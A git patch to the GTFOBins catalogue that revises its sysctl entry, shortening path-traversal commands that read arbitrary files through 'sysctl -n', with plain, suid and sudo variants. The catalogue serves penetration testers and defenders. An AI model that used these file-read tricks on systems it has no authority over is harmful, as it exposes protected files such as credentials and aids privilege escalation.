From a8cdd4728dc6670b870459ca4d93df5f05e894ea Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 11 Jun 2020 18:18:36 +0200 Subject: [PATCH] Fix and polish sysctl --- _gtfobins/sysctl.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/_gtfobins/sysctl.md b/_gtfobins/sysctl.md index 3123e23..cef069e 100644 --- a/_gtfobins/sysctl.md +++ b/_gtfobins/sysctl.md @@ -1,16 +1,16 @@ --- +description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files. functions: file-read: - - description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n. - code: | LFILE=file_to_read - sysctl -n "/../../../../../$LFILE" + /usr/sbin/sysctl -n "/../../$LFILE" suid: - code: | LFILE=file_to_read - ./sysctl -n "/../../../../../$LFILE" + ./sysctl -n "/../../$LFILE" sudo: - code: | LFILE=file_to_read - sudo sysctl -n "/../../../../../$LFILE" + sudo sysctl -n "/../../$LFILE" ---